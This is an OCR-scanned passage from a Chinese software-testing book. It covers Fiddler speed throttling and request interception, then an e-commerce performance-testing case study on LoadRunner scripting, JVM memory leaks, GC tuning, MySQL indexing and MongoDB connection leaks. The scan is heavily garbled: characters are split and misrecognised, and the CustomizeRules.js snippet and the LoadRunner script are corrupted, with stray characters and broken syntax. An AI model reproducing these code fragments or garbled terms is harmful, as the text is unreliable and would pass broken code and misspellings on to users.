。 选择 菜单 Rules->Performance->Simulate Modem Speeds, 如 图 9. 31 
所 示 。 
。 在 默认 限 速 模式 下 ,默认 为 上 传 1kb,delay 300ms, 下 载 1kb, delay 
150ms。 若 想 对 速度 进行 控制 , 需 在 Customize Rules. js 中 配置 ,可 
通过 修改 配置 文件 的 数值 来 控制 。 修 改 该 js 文件 的 入 口 ,如 图 9. 32 
所 示 ,要 修改 的 字段 如 图 9. 33 所 示 。 
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册 Fddler 国 ] GeoEdge 
lsessions - 图 Any Process 的 


图 9.31 限 速 1 


Hide CONNECTs 


| Automatic Breakpoints » 
CR 
| Require Proxy Authentication 

Apply GZIP Encoding 

Remove All Encodings 

Hide 304s 

Request Japanese Content 

Automatically Authenticate 

User-Agents » 

Performance » 


图 9.32 限 速 2 


下 brats rr { 
/ Delay sends by 300ms per KB uploaded. 
OSess1on Lrcauest tr ick1e Gel ay"] = "300"; 
// Delay receives by 1 per KB downloaded. 
osession[" i el "150"; 


图 9.33 限 速 3 
9.9.7 算 改 请 求 数据 


所 谓 自 改 请 求 数据 其 实 就 是 在 请 求 发 送 的 途中 将 其 拦截 下 来 ,然后 修 
改 数据 之 后 再 发 送 到 服务 器 端 ,机 制 如 图 9. 34 所 示 。 
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请 求 请 求 
fiddl 本 
客户 端 ”| 响应 | (proxy) | 响应 | 服务 器 请 


拦截 请 求 并 臭 改 


图 9.34 ”Fiddler 算 改 请 求 


此 处 以 登录 51cto 为 例 进行 讲解 ,登录 地 址 为 http://home. 51cto. 
com/index。 大 致 步骤 如 下 。 

。 用 IE 打开 登录 页 面 。 

。 打开 Fiddler， 在 命令 行 中 输入 bpu http://home. 51cto. com/ 
index。 

。 输入 错误 的 用 户 名 和 密码 , 单 击 登录 。 

。 Fiddler 能 中 断 这 次 会 话 ,选择 被 中 断 的 会 话 ,点 击 Inspectors 下 的 
WebForms ,然后 修改 用 户 名 密码 都 为 正确 的 ,再 点 击 Run to 
Completion 即 可 ,如 图 9. 35 所 示 。 


Ede Bules Tools View Help kDOonate 
他 Reploy X-》Resume 本 Sbeom 国 Decode | Keep: lsessions "图 AnyProcess 执 Fnd 轩 Sove 网 项 Browse 仿 Clear Code 


Web Yessoms C7 im 
‘WebFoms HaWew pih | Cookes | Raw JSON | 


图 9.35 ” 算 改 请 求 
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9. 10 本章 小 结 


本 章 以 简要 ,通俗 的 语言 解释 了 什么 是 接口 测试 以 及 怎么 做 接口 测试 ， 
对 很 多 迷惑 的 朋友 能 给 予 一 定 的 帮助 。 最 后 给 出 的 接口 功能 自动 化 测试 简 
易 框 架 也 能 引导 大 家 去 思考 和 学 习 。 总 之 , 干 任何 事情 之 前 一 定 要 把 基础 
搞 明 白 了 ,这 样 才 能 事半功倍 ,而 很 多 朋友 就 是 因为 看 不 起 基础 ,觉得 基础 
简单 ,导致 认 知 上 的 混乱 从 而 走 了 很 多 弯路 ,最 终 学 习 效 果 不 佳 。 有 名 话说 
的 好 : 欲 速 则 不 达 。 送 给 自己 和 大 家 共勉 ! 

代码 可 以 通过 扫描 前 言 中 的 二 维 码 关注 公众 号 之 后 ,在 对 话 框 中 回复 
“大 话 软件 测试 ?关键 字 进 行 获取 。 


性 能 测试 案例 分 享 


一 个 项 目的 性 能 测试 是 复杂 的 ,需要 各 个 部 门 的 同事 一 起 配合 ,并 不 是 
一 个 人 的 战斗 。 很 多 朋友 觉得 性 能 测试 难 , 那 是 因为 想 把 性 能 测试 的 分 析 
做 好 需要 很 多 知识 做 支撑 ,并 不 只 是 用 LoadRunner 或 者 JMeter 等 工具 运 
行 一 下 就 结束 了 ,它们 只 完成 了 打压 ,并 不 能 提供 分 析 , 分 析 的 过 程 还 是 得 
依靠 测试 工程 师 来 进行 。 

本 章 将 分 享 一 个 真实 的 性 能 测试 案例 ,关键 在 于 引导 大 家 如 何 进行 性 
能 测试 的 分 析 , 因 项 目 涉及 公司 隐私 且 较 为 复杂 ,包括 但 不 限于 业务 前 端 、 
业务 后 端 .BI 检索 引擎 以 及 周边 系统 等 ,因此 进行 了 部 分 简化 ,但 分 析 思 路 
是 通用 的 。 


10.1 电 商 系统 性 能 测试 


10.1.1 通用 化 分 析 思 路 


经 常 被 粉丝 问 如 何 学 习 才 能 有 效率 ,其 实 答案 非常 简单 ,就 是 不 断 总 
结 。 这 话说 起 来 简单 ,做 起 来 难 。 大 家 回想 自己 的 学 习 之 路 ,是 不 是 一 天 到 
晚 在 不 停 地 学 这 个 学 那个 ,不 停 地 收集 这 个 资料 那个 视频 ,不 停 地 问 这 个 问 
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那个 ? 我 们 少 了 什么 ? 少 了 总 结 啊 ! 只 顾 低头 走路 , 却 忘 了 要 停 下 来 软 软 ， 
这 样 就 没有 办 法 去 总 结 和 实现 知识 的 沉淀 。 

性 能 测试 更 是 如 此 ,其 实 只 要 你 认真 做 过 1 一 2 个 项 目的 性 能 测试 就 基 
本 人 掌握 了 , 剩 下 的 就 是 不 断 实 践 和 总 结 , 并 积累 经 验 。 下面 和 大 家 分 享 一 个 
通用 化 分 析 思 路 , 它 不 针对 具体 的 项 目 ,而 所 有 项 目的 性 能 分 析 思 路 都 可 以 
依据 此 进行 ,也 欢迎 大 家 在 此 基础 上 进行 完善 。 

一 图 胜 千言 ,我们 直接 来 看 图 10. 1。 图 10. 1 体现 了 我 常常 说 的 分 层 思 
路 ,在 毫 无 目的 的 情况 下 如 何 有 序 地 进行 排查 分 析 , 有 点 像 我 们 上 学 时 做 选 
择 题 的 感觉 。 当 然 , 这 张 图 还 有 很 大 的 完善 空间 ,比如 : 硬件 数据库 等 还 可 
以 继续 往 下 扩展 总 结 , 这 就 留 给 大 家 去 完善 啦 。 


通用 化 分 析 思路 


服务 器 并 问题 
网 络 问题 客户 端 问题 ee 


1 一 一 一 
路 
| 自 香 罗 代码 级 别 


| 中 间 件 | | 数据 库 


图 10.1 分 析 思 路 
在 企业 中 经 常 碰 到 的 性 能 问题 主要 集中 在 服务 器 端 ,又 以 代码 级 别 、 


Web 中 间 件 、 数 据 库 等 节点 为 多 ,而 调 优 方 法 无 非 就 是 参数 、 部 署 方 式 、 代 
码 、 硬 件 这 几 个 方面 ,所 以 多 多 做 总 结 你 会 发 现 其 实 性 能 测试 分 析 并 不 难 。 
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10.1.2 项 目 背 景 与 需求 分 析 


本 章 分 享 的 案例 是 一 个 典型 的 电 商 项 目 ,因为 要 进行 大 规模 推广 所 以 
想 通过 性 能 测试 来 评估 现 有 系统 的 性 能 如 何 。 至 于 电 商 项 目的 具体 业务 相 
信 大 家 都 非常 了 解 了 ,这 里 就 不 再 过 多 介绍 了 。 

了 解 完 项 目 背景 之 后 就 是 需求 分 析 了 ,这 是 我 们 遇 到 的 第 一 个 难点 ,很 
多 朋友 不 知道 怎么 挖掘 性 能 需求 ,一 般 可 以 通过 如 下 步骤 进行 挖掘 。 

第 一 步 : 明确 业务 场景 。 

电 商 项 目的 业务 流程 是 非常 多 的 ,分 析 前 必须 明确 你 要 测试 哪些 业务 ， 
只 有 明确 之 后 才能 进行 针对 性 的 分 析 。 一 般 情况 下 ,我 们 会 参考 线 上 的 监 
控 系 统 来 分 析 哪 些 业 务 压力 较 大 ,访问 较 多 ,多 数 情况 下 会 选择 比较 重要 或 
核心 的 业务 进行 性 能 测试 。 至 于 线 上 的 监控 系统 在 之 前 的 章节 中 已 经 介绍 
过 ,这 里 不 再 描述 。 

说 到 这 里 ,问题 又 来 了 。 不 少 朋 友 问 如 果 公 司 没有 监控 系统 怎么 办 ? 
“凉拌 ” 啊 ,哈哈 ,当然 是 开玩笑 的 。 你 可 以 通过 第 三 方 工 具 对 系统 的 访问 日 
志 进 行 分 析 从 而 得 出 一 些 参考 性 数据 。 比 如 : 可 以 通过 weblog expert 
(http://www. weblogexpert. com ) 来 进行 日 志 分 析 , 如 图 10. 2 和 图 10. 3， 
可 以 看 到 访问 用 户 数 和 访问 路 径 等 有 用 的 信息 。 


Daily Visitors 


Visitors 


0 7 fz z 区- 7 
12/08/2007 12/09/2007 12/10/2007 12/11/2007 12/12/2007 12/13/2007 12714/2007 
Date 


图 10.2 日 志 分 析 (1) 
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Daily Page Access 
国 / 
国 ,ordev 
270 国 /support/ 
240 加 /downloads/ 
210 国 /support/key-tequest html 
180 国 /smartsyncpro/uninstall php 
三 150 
加 
> 120| 
90 
60 
30 
0 t 
12/08/2007 12/10/2007 12/12/2007 12/14/2007 


图 10.3 日 志 分 析 (2) 


回 到 本 次 案例 中 ,我们 是 用 线 上 监控 系统 主要 对 登录 .下 单 、 搜 索 和 浏 
览 单 品 页 以 及 后 台 的 一 些 统计 数据 功能 进行 性 能 测试 。 

第 二 步 : 分 析 业 务 数据 。 

明确 业务 场景 之 后 就 要 对 这 些 场 景 进行 数据 分 析 了 ,而 数据 也 是 来 源 
于 线 上 监控 系统 的 。 其 中 并 发 数 是 很 多 朋友 头疼 的 问题 ,其 实 大 可 不 必 纠 
结 , 在 本 书 2.9 节 中 的 “去 “并 发 数 '” 中 已 经 讲述 过 。 因 为 公司 比较 大 ,有 严 
格 的 规范 和 监控 体系 ,数据 是 没 办 法 轻易 拿 出 来 分 析 的 ,需要 运 维和 运营 同 
事 的 协助 并 要 申请 账户 权限 才能 查看 ,这 也 是 大 公司 的 整 端 。 

我 们 的 监控 系统 目前 在 对 比 改造 中 ,分 别 如 下 。 

(1) 基于 小 米 开 源 监 控 系 统 Open-Falcon 改造 的 (http://open-falcon. 
org) 。 

(2) Pinpoint 开源 APM(https://github. com/naver/pinpoint)。 

如 图 10.4 所 示 , 它 们 都 可 以 清晰 看 到 各 类 指标 和 调用 信息 树 等 ,同时 运 
维 同事 进行 了 扩展 ,可 以 统计 出 关键 路 径 每 秒 的 并 发 数 。 想 做 好 性 能 测试 
和 分 析 , 必 要 的 监控 是 不 可 缺少 的 ,很 多 公司 都 缺少 这 样 的 监控 ,导致 没 法 
准确 有效 地 进行 性 能 测试 。 

一 般 在 性 能 测试 的 时 候 , 我 们 会 有 基准 并 发 数 、 预 期 并 发 数 .递增 并 发 
数 的 概念 ,可 能 每 个 团队 叫 法 不 一 样 ,不 必 咬 文 嚼 字 。 基 准 并 发 数 一 般 为 1 
或 者 偏 小 的 量 ,主要 是 看 系统 是 否 正常 ; 预期 并 发 数 就 是 我 们 估算 出 来 的 或 
者 通过 监控 系统 得 出 的 ; 递增 并 发 数 有 两 个 含义 ,其 一 是 在 预期 并 发 数 是 系 
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图 10.4 监控 系统 


统 表现 良好 的 前 提 下 加 大 并 发 看 系统 性 能 的 表现 ,其 二 是 如 果 系 统 未 来 3 年 
会 有 3 倍 的 增长 那 要 提前 预测 这 个 增长 对 系统 性 能 的 影响 ,适当 调整 最 大 并 
发 数 。 


10.1.3 场景 用 侈 设计 


需求 分 析 完 成 之 后 就 要 转化 为 场景 用 例 了 ,其 实 就 是 对 以 什么 样 的 策 
略 执行 性 能 测试 做 一 个 用 例 描述 。 场 景 用 例 的 编写 模式 都 是 一 样 的 ,所 以 
这 里 只 选取 了 典型 的 进行 描述 ,其 余 的 场景 用 例 不 再 描述 了 。 

。 用 例 编号 : Cl。 

。 描述 : 登录 。 

。 并 发 量 : 80。 

。 运行 时 间 : 30 分 钟 。 
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。 加 压 方式 : 慢 增长 。 

。 思考 时 间 : 2 秒 。 

铺底 数据 量 : 100 万 。 

关注 指标 : 响应 时 间 、TPS、 事 务 成 功率 、Linux 资源 使 用 率 、 数 据 库 
资源 使 用 率 、 应 用 程序 日 志 异 常 .JVM 等 。 

预期 指标 : 响应 时 间 三 2 秒 、 事 务 成 功率 二 100%、CPU 使 用 率 三 
70% 、Load 值 乏 Corex 1. 5 无 明显 的 异常 .无 SQL 慢 查 询 。 


10.1.4 脚本 开发 


任何 性 能 测试 的 脚本 开发 关键 点 无 非 就 是 如 下 几 个 ,掌握 之 后 并 没有 
什么 难度 。 

(1) 检查 点 : 不 同 工 具 中 的 叫 法 不 一 样 , 主 要 作用 是 判断 某 个 业务 或 响 
应 是 否 成 功 。 比 如 : 登录 之 后 是 否 有 用 户 名 ,如 果 有 则 成 功 ,否则 失败 。 一 
般 我 们 建议 只 对 重要 、 必 要 的 信息 做 检查 点 ,不 要 所 有 的 都 做 。 

(2) 事务 : 其 实 就 是 一 个 或 多 个 业务 的 集合 。 比 如 ,可 以 把 登录 、 浏 览 
单 品 页 封装 为 一 个 事务 ,也 可 以 分 别 封装 为 独自 的 事务 ,这 取决 于 你 的 目 
的 。 一 般 我 们 建议 对 重要 的 业务 进行 单独 的 事务 封装 ,因为 事务 是 统计 性 
能 数据 的 基础 。 

(3) 参数 化 : 这 个 比较 好 理解 ,比如 ,要 模拟 不 同 的 用 户 登 录 , 那 肯定 需 
要 对 用 户 名 进行 参数 化 , 它 的 作用 是 更 加 真实 地 模拟 用 户 行为 ,也 能 避免 重 
复 取 缓 存 数据 。 

(4) 思考 时 间 : 白话 一 点 解释 ,就 是 等 待 时 间 , 因 为 我 们 的 操作 一 定 有 
一 个 等 待 时 间 。 比 如 ,登录 时 要 输入 用 户 名 和 密码 ,这 个 输入 过 程 就 是 等 待 
时 间 ,也 即 思考 时 间 。 它 的 作用 是 更 加 真实 地 模拟 用 户 行 为 ,估计 这 是 所 有 
地 球 人 都 知道 的 。 另 外 一 个 作用 是 满足 特殊 的 业务 ,比如 ,你 连续 .快速 地 
发 帖子 ,可 能 就 被 提示 :“ 发 帖 频 率 太 快 了 ,2 秒 之 后 再 尝试 "类似 这 样 的 情 
况 你 就 需要 加 上 思考 时 间 了 。 

(5) 关联 : 这 个 是 令 很 多 朋友 犯 迷 糊 的 点 。 简 单 来 说 关联 就 是 当前 请 
求 要 用 到 之 前 某 个 请 求 响 应 中 的 数据 。 是 不 是 还 是 不 懂 呢 ?没关系 ,看 下 
我 的 学 员 对 关联 做 的 总 结 
第 一 hj. 给 大 家 举 个 实际 点 的 例子 ,今天 我 去 看 电影 , 买 了 一 张 电 
, 票 号 是 381 ,到 检票 口 ,检票 的 人 一 看 ,是 今天 的 ,好 ,你 可 以 进去 看 电 


刁 / 
影 票 
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影 了 ; 第 二 天 我 又 去 看 电影 了 ,我 还 拿 这 张 票 , 票 号 还 是 381, 到 检票 口 , 检 
票 的 人 一 看 ,昨天 的 ,你 不 能 进去 ,不 让 你 看 ,这 时 候 我 怎么 办 呢 , 我 把 号 改 
了 ，, 改 成 391, 再 给 检票 的 人 ,他 一 看 ,好 ,今天 的 ,你 可 以 进去 了 。 其 实 关联 
就 是 这 个 作用 , 帮 你 改 票 号 ,因为 你 要 用 有 效 的 票 才 能 进去 看 电影 ; 当然 , 检 
票 的 人 没 这 么 傻 , 举 个 例子 而 已 。 

第 二 种 理解 : 在 脚本 回放 过 程 中 ,客户 端 发 出 请 求 ,通过 关联 函数 所 定 
义 的 左右 边界 值 , 在 服务 器 所 响应 的 内 容 中 查找 ,得 到 相应 的 值 并 保存 到 参 
数 中 ,这 个 动态 获得 服务 器 响应 内 容 的 方法 被 称 作 关联 。 其 实 关 联 也 属于 
一 种 特殊 的 参数 化 ,只 是 与 一 般 的 参数 化 有 些 不 同 , 它 是 获得 服务 器 响应 中 
某 个 符合 条 件 的 .动态 的 值 。 

你 会 看 到 不 同 的 人 对 于 关联 会 有 不 同 的 理解 ,并 没有 对 错 , 只 是 大 家 理 
解 的 角度 不 一 样 ,尤其 对 技术 而 言 ,更 没有 对 错 之 分 ,所 以 大 家 也 要 对 自己 
充满 信心 。 

本 案例 中 的 脚本 并 没有 什么 特别 之 处 ,所 以 只 给 出 脚本 主 结构 和 代码 ， 
其 余 的 就 不 再 描述 了 。 


Rction( ) 
{ 
int isBuy = 1; // 购 物流 程 选择 ,0 购物 车 ,1 立即 购买 
int isPay = 0; // 下 单 (立即 购买 + 购物 车 ) 完 成 后 是 否 进 行 
// 支 付 ,0 否 ,1 是 
int isSearch = 0; // 是 否 进 行 搜索 ,0 否 ,1 是 
int result; // 执 行 函 数 后 的 返回 结果 
// 立 即 支 付 流程 
if(isBuy == 1) 
{ 
result = memberLogin(); // 用 户 登 录 
if(result == 1) 
lr_error_message(" 登 录 失 败 !!1!111"); 
} 
else 
{ 
viewGoods( ); // 进 入 单 品 页 


if(rand() % 100 < 80) 

. 
// 立 即 购 买 下 单 ,里 面 通过 isPay 参数 来 控制 下 单 后 是 否 进行 支付 
toBuy( isPay); 
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} 


} 

// 购 物 车 流程 

if(isBuy == 0) 

{ 
result = memberLogin(); // 用 户 登 录 
if(result == 1) 
上 


} 

else 

. 
viewGoods( ); // 进 入 单 品 页 
// 加 入 购物 车 后 下 单 , 里 面 通过 isPay 参数 来 控制 下 单 后 是 否 进行 支付 
addToShopcartToBuy( isPay); 

. 

| 


if(isSearch == 1) 

{ 
searchKeyword( ); // 按 关键 字 搜 索 
searchCategory(); // 按 品类 搜索 

} 

return 0; 

} 


10.1.5 测试 执行 与 监控 


完成 上 面 的 准备 工作 之 后 ,很 多 朋友 觉得 万 事 大 吉 可 以 喝 咖 啡 去 了 。 


其 实 不 然 , 压 测 进 行 的 过 程 也 是 需要 我 们 观察 的 ,尤其 是 压 测 初始 阶段 ,如 
果 这 个 时 候 出 现 了 大 量 或 者 严重 的 报错 就 没有 必要 继续 压 测 了 ,而 应 停止 
并 进行 分 析 。 


这 里 特别 要 提醒 一 下 ,很 多 测试 工具 都 有 记录 日 志 的 功能 ,在 正式 压 测 


的 时 候 建 议 关闭 或 者 只 开启 有 ERROR 时 记录 。 另 外 ,应 用 的 日 志 级 别 一 定 
要 关闭 debug 模式 ,不然 到 时 候 你 会 器 坚 的 。 


监控 是 我 们 在 执行 时 重点 关注 的 ,一般 的 监控 方式 有 如 下 几 种 。 
(1) 工具 自 带 的 ,如 LoadRunner 中 的 各 种 图 表 。 
(2) 命令 ,如 在 Linux 上 用 top .vmstat \iostat 等 。 
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(3) 服务 自 带 的 ,如 Jconsle 等 。 

(4) 第 三 方 监控 工具 ,如 Spotlight on Linux/Mysql、nmon、 天 免 、 
JProfile、APM 等 。 

因为 我 们 的 监控 系统 较为 完善 ,省 去 了 很 多 复杂 的 工作 。 但 为 了 给 大 
家 演示 分 析 思 路 ,我 在 这 里 还 是 做 了 一 些 调整 。 


10.1.6 JVM 内 存 泄漏 (OOM) 


现象 与 分 析 : 

在 稳定 性 测试 过 程 中 ,半夜 监控 系统 发 了 内 存 的 报警 。 测 试 人 员 实 在 
太 困 了 就 没有 排查 ,只 是 重启 了 服务 ,然后 继续 与 周公 约会 了 。 第 二 天 一 到 
公司 便 查看 日 志 与 监控 系统 发 现 可 能 存在 内 存 泄漏 。 

一 般 在 JMV 中 想 查看 内 存 等 变化 的 情况 可 以 通过 命令 .工具 和 集成 监 
控 系 统 查看 ,比如 使 用 命令 : jstat -gcutil 进程 号 间隔 时 间 , 如 图 10. 5 所 示 ， 
我 们 发 现 FGC(Full GC) 时 间 有 点 长 ,几乎 要 9 秒 之 久 。 也 可 以 通过 类 似 
jvisualvm 的 工具 来 观察 堆 内 存 走势 ,如 图 10.6 所 示 , 很 明显 内 存 不 能 被 完 
全 回收 ,一 直 是 上 升 的 趋势 ,存在 内 存 泄漏 。 

S0 S1 E 0 YGC YGCT FGC 

0.00 0.00 97.14 100.00 35.45 39785 334. 042 9473 169358.533 169515. 322 

0.00 0.00 98.23 100.00 35.45 39785 334.042 9473 169367. 241 169525. 244 


图 10;5 GC 


图 10.6 堆 内 存 走势 


分 析 , 如 图 10.7 所 示 , 其 中 的 FreshCC 非常 可 疑 , 提 交 给 开发 进行 代码 排查 。 
这 里 解释 下 两 个 概念 。 
。 Shallow Size: 对 象 自身 占用 的 内 存 大 小 ,不 包括 它 引 用 的 对 象 。 
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。 Retained Size: retained Size 一 当前 对 象 大 小 十 当前 对 象 可 直接 或 间 
接 引用 到 的 对 象 的 大 小 总 和 。 间 接 引用 的 含义 : A 一 B>C, C 就 是 


间接 引用 。 
i Overview 由 Histogram = ® default_report org.eclipse.mat.api:suspects 
Class Name Objects Shallow Heap 
Fp <Regex> <Numeric> <Numeric> 
® 四 my FreshCC 810,326 12,965,216 
图 10.7 堆 内 存 分 析 
解决 方案 : 


经 过 开发 工程 师 的 排查 ,原来 是 在 代码 中 使 用 了 非 线程 安全 的 List 对 
象 ,导致 无 法 被 完全 回收 造成 ,替换 为 线程 安全 的 CopyOnWriteArrayList 
即 可 。 


10.1.7 JVM 垃圾 回收 (CGC) 和 堆 外 OOM 


现象 与 分 析 : 

通过 监控 我 们 发 现 Full GC 的 频率 太 高 ,基本 上 1 小 时 左右 就 出 现 一 
次 ,结合 业务 特点 这 个 是 完全 不 能 接受 的 。 在 分 析 调 优 的 过 程 中 我 们 也 走 
了 很 多 弯路 ,尝试 过 调整 JVM 参数 .分析 堆 内 存 等 效果 都 不 太 好 。 于 是 请 
教 了 开发 同学 ,给 出 的 答案 是 可 能 是 因为 使 用 了 RMI( 远 程 方法 调用 ) 导致 
的 ,建议 给 JVM 参数 加 上 -XX: 十 DisableExplicitGC, 这 样 可 以 屏蔽 掉 
System. gc() 的 作用 ,避免 GC 太 频 繁 。 

本 来 以 为 到 这 里 就 算 解 决 了 这 个 问题 , 没 想 到 这 是 焉 梦 的 开始 。 不 和 久 
之 后 我 们 得 到 监控 预警 的 报错 : java. lang. OutOfMemoryError: Direct 
buffer memory, 也 叫做 堆 外 内 存 溢 出 ,如 图 10. 8 所 示 。 本 质 上 是 因为 
Young GC 对 堆 外 内 存 没 有 作用 ,只 有 在 Full GC 的 时 候 才 会 被 收回 ,而 没 
有 达到 Full GC 条 件 的 时 候 堆 外 已 经 满 了 就 出 现 这 样 的 错误 了 。 


TI 


er.<init>tDirectby 


图 10.8 ”Direct buffer memory 


这 个 现象 当时 也 是 首次 遇 到 所 以 比较 迷茫 。 为 了 尽快 解决 这 个 问题 在 
Google 上 搜索 了 一 些 资料 查看 得 知 , 如 果 程 序 里 使 用 了 NIOCNon-blocking) 可 
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能 会 和 JVM 参数 -XX: 十 DisableExplicitGC 冲突 ,建议 去 掉 此 参数 。 

分 析 到 这 里 就 很 烛 炊 了 ,两 者 的 解决 方案 产生 了 冲突 ,这 可 怎么 办 ? 吃 
包 辣 条 冷静 下 ,条 条 大 路 通 罗马 ,一 定 有 更 好 的 解决 方案 ,而 答案 也 在 官网 。 

解决 方案 : 

通过 查找 官方 资料 和 尝试 , 最 终 得 出 去 掉 参 数 -XX: 十 Disable- 
ExplicitGC ,加 上 参数 -XX: 十 ExplicitGCInvokesConcurrent( 使 用 到 RMI 时 
官方 建议 添加 该 参数 使 得 Full GC 时 不 会 全 程 停顿 ,可 以 减少 应 用 停顿 时 
间 ) , 增 大 -XX:MaxDirectMemorySize(DirectByteBuffer 能 分 配 的 大 小 ) 。 


10.1.8 MySQL 慢 查询 


现象 与 分 析 : 

在 分 析 某 个 条 件 搜索 的 时 候 发 现 响 应 时 间 大 于 10 秒 ,简直 是 晴天 霹雳 。 
我 们 分 别 去 排查 应 用 服务 器 和 数据 库 服 务 器 ,发现 应 用 服务 器 一 切 正 常 , 数 
据 库 服务 器 CPU 占用 率 几乎 要 达到 90% 了 ,考虑 到 查询 更 多 的 是 和 SQL 
相关 的 ,所 以 决定 去 看 下 是 否 存在 慢 查 询 SQL。 

通过 监控 系统 我 们 发 现 了 确实 存在 如 下 的 慢 SQL 查询 (原本 是 一 个 组 
套 的 大 SQL, 这 里 把 有 问题 的 SQL 单独 拿 了 出 来 ,并 对 语句 、 表 名 、 字 段 做 
了 处 理 ) : 

select t.aid,t. date time from a t where t.date time>= '2017 -01- 01'andt. 

date time<= '2018 - 01— 01'group by t.date time,t.aid; 

在 实际 项 目 中 一 般 出 现 慢 查询 SQL 最 多 的 原因 有 两 种 ,分 别 是 索引 失 
效 和 索引 建立 不 当 造 成 的 。 所 谓 索 引 失 效 简单 来 说 就 是 在 列 上 进行 了 运 
算 ,这 样 索引 是 不 会 起 作用 的 。 而 索引 建立 不 当 是 指 虽然 你 建立 了 索引 ,但 
因为 建立 的 不 恰当 导致 索引 的 效率 没有 发 挥 出 来 甚至 还 降低 了 。 

接 下 来 就 需要 用 explain 来 分 析 SQL 执行 效率 了 ,结果 如 图 10.9 所 示 。 
我 们 看 到 type 是 ALL 表示 全 表 扫 描 ,这 个 是 非常 糟糕 的 情况 。rows 表示 
MySQL 根据 表 统 计 信息 以 及 索引 选用 情况 ,估算 找到 所 需 记 录 需 要 读 取 的 
行 数 , 这 个 数 也 相当 大 ,这 样 如 果 SQL 还 不 慢 那 才 叫 奇迹 呢 。 


i select type table partiions type Ppossible keys Key Keylen ref rows filtered Exira 
1 SIMPLE t AULL ALL date time NULL NULL ~ NULL 3584467 50.00 Using where; Using temporary; Using flesort 


图 10.9 explain 结果 1 


(219) 大 话 软件 测试 一 性 能 、 自 动 化 及 团队 管理 小 


通过 SQL 语句 和 explain 结果 我 们 清楚 看 到 列 上 并 没有 运算 ,所 以 更 可 
能 是 索引 建立 不 当 造 成 的 。 该 条 语句 中 用 到 了 aid 这 个 字段 ,而 并 没有 给 它 
索引 ,所 以 我 们 第 一 步 就 是 要 给 它 加 索引 。 你 以 为 加 完 就 结束 了 吗 ( 此 处 请 
自行 思考 5 分 钟 )? 

分 析 的 时 候 其 实 和 柯南 断案 一 样 的 ,根据 现象 去 推理 并 去 验证 ,有 可 能 
你 的 推理 是 错 的 ,也 可 能 是 对 的 。 我 们 在 做 性 能 测试 分 析 的 时 候 一 定 要 有 
耐心 ,没有 足够 经 验 的 时 候 很 难 一 针 见 血 ,分 析 到 位 。 

解决 方案 : 

经 验 不 足 的 朋友 们 在 加 索引 的 时 候 经 常 是 分 别 给 需要 的 字段 加 ,比如 : 
对 本 SQL 可 能 会 有 人 分 别 给 date_time 和 aid 加 索引 。 其 实 这 样 的 效率 也 
不 会 太 好 。 真 正 的 解决 方案 是 对 date_time 和 aid 做 联合 索引 ,这 样 效率 会 
提升 不 少 , 结 果 如 图 10. 10 所 示 。type 变 为 了 range,key 也 用 到 了 联合 索 
引 ,rows 也 变 小 了 不 少 。 


a select ype table pariions pe possible keys Key Key jon ref rows Extwa 
1 SIMPLE t NULL range datetime aid idx daletime aid idx 36 NULL 4706 100.00 Using where. Using index for group-by 


图 10. 10 explain 结果 2 


这 里 还 有 一 个 小 插曲 ,上 线 之 后 运营 人 员 在 统计 系统 的 页 面 查询 某 些 
数据 时 ,列表 页 面 响应 特别 慢 , 达 到 了 7 秒 左右 。 当 时 测试 团队 简直 一 身 冷 
汗 啊 ,这 个 问题 不 应 该 出 现 才 对 ,结果 让 DBA 去 看 了 下 慢 查 询 SQL 发 现 原 
来 是 BI 那 边 的 SQL 导致 的 ,因为 BI 的 某 些 SQL 居然 没有 加 索引 且 扫 描 列 
都 没有 指定 造成 了 全 表 扫 描 ( 改 动 没 有 通知 其 他 组 )。 这 也 是 大 公司 的 次 
端 ,关联 的 系统 太 多 有 时 候 没 办 法 即使 沟通 。 


小 强 课堂 


无 意 中 看 到 美 团 技术 团队 对 于 索引 建立 原则 的 总 结 ,感觉 非常 到 
位 ,这 里 分 享 给 大 家 ,也 感谢 美 团 技术 团队 的 总 结 贡 献 。 
。 最 左前 级 匹配 原则 ,非常 重要 的 原则 ,MySQL 会 一 直 向 右 匹配 直 
到 遇 到 范围 查询 (>、<、between,like) 就 停止 匹配 ,比如 a 二 1 
andb 王 2andc> 盖 3andd 王 4 如 果 建 立 (a,b,c,d) 顺 序 的 索 
引 ,d 是 用 不 到 索引 的 ,如 果 建 立 (a,b,d,c) 的 索引 则 都 可 以 用 
到 ,a,b,d 的 顺序 可 以 任意 调整 。 
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。 一 和 in 可 以 乱 序 ,比如 a landb 2 and c 3 建立 (a,b,c) 
索引 可 以 是 任意 顺序 的 , MySQL 的 查询 优化 器 会 帮 你 优化 成 索 
引 可 以 识别 的 形式 。 

。 尽量 选择 区 分 度 高 的 列 作为 索引 ,区 分 度 的 公式 是 count 
(distinct col)/count( * ) ,表示 字段 不 重复 的 比例 ,比例 越 大 我 们 
扫描 的 记录 数 越 少 ,唯一 键 的 区 分 度 是 1, 而 一 些 状态 、 性 别 字 段 
可 能 在 大 数据 面前 区 分 度 就 是 0, 那 可 能 有 人 会 问 ,这 个 比例 有 
什么 经 验 值 吗 ? 使 用 场景 不 同 ,这 个 值 也 很 难 确 定 ,一 般 需 要 
join 的 字段 我 们 都 要 求 是 0.1 以 上 , 即 平均 1 条 扫描 10 条 记录 。 

。 索引 列 不 能 参与 计算 ,保持 列 “ 和 干净 ”, 比 如 from_unixtime(create_ 
time) 一 '2014-05-29' 就 不 能 使 用 到 索引 ,原因 很 简单 ,b 十 树 中 
存 的 都 是 数据 表 中 的 字段 值 ,但 进行 检索 时 ,需要 把 所 有 元 素 都 
应 用 函数 才能 比较 ,显然 成 本 太 大 。 所 以 语句 应 该 写成 create_ 
time = unix_timestamp('2014-05-29')。 

。 尽量 地 扩展 索引 ,不 要 新 建 索引 。 比 如 表 中 已 经 有 a 的 索引 , 现 
在 要 加 (a,b) 的 索引 ,那么 只 需要 修改 原来 的 索引 即 可 。 


10. 1.9 Mongodb 连接 数 


现象 与 分 析 : 

在 测试 过 程 中 通过 日 志 我 们 发 现 Mongodb 出 现 了 连接 数 已 满 的 报错 。 
一 般 这 种 情况 是 由 于 连接 数 设 置 不 合理 或 者 程序 里 没有 释放 连接 造成 的 ， 
所 以 只 需 排 查 这 两 个 方面 即 可 。 

因为 之 前 系统 的 运行 是 没有 问题 的 ,也 没有 报 此 类 的 错误 ,而 这 次 上 线 
是 新 增 的 功能 ,所 以 怀疑 很 可 能 是 代码 里 没有 释放 连接 造成 的 。 经 过 代码 
的 排查 发 现 MongoClient 没有 释放 ,久而久之 耗 光 了 所 有 的 连接 。 

解决 方案 : 

这 个 应 该 不 用 说 了 吧 ? 


